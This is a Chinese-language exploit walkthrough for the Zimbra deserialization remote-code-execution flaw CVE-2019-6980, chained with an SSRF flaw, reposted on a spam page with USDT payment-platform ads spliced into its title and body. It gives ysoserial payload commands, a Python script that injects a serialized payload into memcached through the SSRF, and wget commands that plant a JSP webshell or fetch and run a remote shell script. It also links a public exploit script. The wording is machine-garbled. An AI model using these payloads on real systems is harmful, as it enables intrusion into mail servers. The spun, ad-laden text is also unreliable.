usdt提现教程(www.caibao.it):Zimbra反序列化破绽(CVE-2019-6980)行使测试

admin 1个月前 (03-27) 科技 24 0

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00 前言

Zimbra反序列化破绽(CVE-2019-6980)适用于8.7.x至8.8.11的Zimbra邮件服务器,是一个远程代码执行破绽。

思量到距补丁公然日期已经跨越两年,而且没有一个完整的可用POC,以是本文将要在手艺研究的角度纪录测试历程,开源行使剧本,分享细节。

0x01 简介

本文将要先容以下内容:

· 内陆破绽复现

· 现实行使剖析

· 开源行使剧本

· 防御建议

0x02 内陆破绽复现

参考资料:

https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control

(1)搭建环境

挑选相符破绽版本的Zimbra邮件服务器,下载地址:

https://www.zimbr *** /downloads/zimbra-collaboration-open-source/archives/

详细搭建历程可参考其他资料

(2)确立用户

确立一个测试用户test1,下令如下:

/opt/zimbra/bin/zmprov ca test1@test.zimbr *** Password123 displayName

效果返回测试用户test1对应的zimbraId,花样为11111111-1111-1111-1111-111111111111

弥补:其它常用下令

参考资料:https://wiki.zimbr *** /wiki/Zmprov

列出所有用户:

/opt/zimbra/bin/zmprov -l gaa

列出所有治理员用户:

/opt/zimbra/bin/zmprov gaaa

查看用户test1对应的zimbraId:

/opt/zimbra/bin/zmprov ga test1 zimbraId

(3)修改服务器设置

列出所有服务器:

/opt/zimbra/bin/zmprov gad

获得服务器名称test.zimbr ***

查看设置信息zimbraMemcachedClientServerList:

/opt/zimbra/bin/zmprov gs test.zimbr *** zimbraMemcachedClientServerList

默认返回效果为空

设置zimbraMemcachedClientServerList的值为127.0.0.1:

/opt/zimbra/bin/zmprov ms test.zimbr *** zimbraMemcachedClientServerList 127.0.0.1

(4)重启Zimbra

/opt/zimbra/bin/zmcontrol restart

注:

首次修改zimbraMemcachedClientServerList需要重启Zimbra

若是非首次修改zimbraMemcachedClientServerList,在设置后执行ReloadMemcachedClientConfig下令即可:

/opt/zimbra/bin/zmprov rmcc all

(5)天生Payload

这里需要使用ysoserial

下令如下:

java -jar ysoserial.jar MozillaRhino2 "/bin/touch /tmp/test12345" > test.obj

(6)登录测试用户test1,获得Cookie

通过浏览器登录测试用户test1,取出登录Cookie,信息如下:

0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b;

(7)发送Payload

这里需要使用Python2.7

注:

使用Python3需要思量byte数组的类型转换

Python2.7的代码如下:

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
accountid = "11111111-1111-1111-1111-111111111111"
folderNo= 2
modseq = 1
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"test.obj","rb") as f:
    payload = f.read()
set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b",
    "host":"foo:7071"
}
r = requests.post("https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
print r.text

注:

以上代码修改自《Zimbra SSRF+Memcached+反序列化破绽行使复现》

参数说明:

accountid: 对应zimbraId

,

usdt支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

folderNo: 2代表收件箱

modseq: 对于新用户,默以为1

uidvalidity: 对于新用户,默以为1

代码细节:

这里需要添加Cookie信息,填入通俗用户登录后的token,名称设置为ZM_ADMIN_AUTH_TOKEN,请求的地址为https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211,这是为了使用SSRF(CVE-2019-9621)破绽将数据最终发送到11211端口

通常Zimbra不会对外开放11211端口,然则若是开放,可以将上面的代码修改为直接接见11211端口,不再需要借助SSRF(CVE-2019-9621)破绽

(8)触发反序列化,执行代码

通过nc使用imap-ssl协议登录测试用户test1,接见收件箱,触发破绽

下令如下:

ncat --ssl 192.168.1.1 993

a001 login test1@test.zimbr *** Password123

a001 select inbox

0x03 现实行使剖析

1.适用条件

可分为以下两种情形:

(1)Zimbra服务器版本为8.7.x至8.8.11

能够接见imap-ssl端口(默以为993)

存在SSRF(CVE-2019-9621)破绽

若是服务器未设置过zimbraMemcachedClientServerList,需要通过SSRF(CVE-2019-9621)破绽设置为127.0.0.1并守候Zimbra重启

(2)Zimbra服务器版本为8.7.x至8.8.11

需要能够接见imap-ssl端口(默以为993)

不存在SSRF(CVE-2019-9621)破绽

需要获得一个用户凭证(明文口令)

需要能够接见11211端口

zimbraMemcachedClientServerList的值需要设置为127.0.0.1

第二种情形过于苛刻,通常为第一种情形, 以是接下来先容配合SSRF(CVE-2019-9621)破绽的行使方式

2.行使流程

SSRF(CVE-2019-9621)破绽的行使可使用之前开源的剧本Zimbra_SOAP_API_Manage.py

(1)确立用户

使用下令CreateAccountSSRF,确立新的用户

(2)查看设置

使用下令GetMemcachedClientConfigSSRF获得zimbraMemcachedClientServerList,若是效果不是127.0.0.1,需要重新设置

(3)设置zimbraMemcachedClientServerList

使用下令GetServerSSRF获得ServerID,用作参数

使用下令ModifyServerSSRF修改设置,名称为zimbraMemcachedClientServerList,值为127.0.0.1

(4)重新加载

使用下令ReloadMemcachedClientConfigSSRF,使得修改生效

(5)天生Payload

使用ysoserial中的MozillaRhino2功效

MozillaRhino2在代码实现上通过exec()方式实现执行Linux下令,这里需要注重exec()方式无法执行带有特殊字符的下令,例如| >

也就说是,无法通过特殊字符>实现文件写入操作

这里可以换用wget下令实现

下令示例1:直接下载jsp文件

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.jsp --no-check-certificate -O /opt/zimbra/jetty/webapps/zimbra/public/test.jsp" > payload.obj

下令示例2:下载sh剧本,然后去执行

test.sh的内容如下:

,!/bin/sh
PATH=/bin:/ *** in:/usr/bin:/usr/ *** in:/usr/local/bin:/usr/local/git/bin:/usr/local/ *** in:~/bin
echo $PWD >/tmp/test

天生Payload的下令:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
java -jar ysoserial.jar MozillaRhino2 "/bin/sh /tmp/test.sh" > payload.obj

(6)执行剧本Zimbra_deserialization_RCE(CVE-2019-6980).py

Zimbra_deserialization_RCE(CVE-2019-6980).py自动实现以下操作:

登任命户,获得Cookie

通过GetAccountInfoRequest获得用户对应的zimbraId

通过SSRF(CVE-2019-9621)破绽向11211端口发送Payload

使用imap-ssl协议登任命户,接见收件箱,触发反序列化破绽,执行代码

代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_deserialization_RCE(CVE-2019-6980).py

这里需要注重,Python使用imaplib实现imap-ssl协议时,能够获得uidvalidity的值,但无法获得modseq的值

0x04 防御建议

升级版本,安装补丁

阻止从外部接见11211端口

阻止从外部接见7071端口

0x05 小结

本文先容了Zimbra反序列化破绽(CVE-2019-6980)的测试历程,开源行使剧本Zimbra_deserialization_RCE(CVE-2019-6980).py,分享细节。

Allbet声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt提现教程(www.caibao.it):Zimbra反序列化破绽(CVE-2019-6980)行使测试

网友评论

  • (*)

最新评论

站点信息

  • 文章总数:2469
  • 页面总数:0
  • 分类总数:8
  • 标签总数:3605
  • 评论总数:1125
  • 浏览总数:290268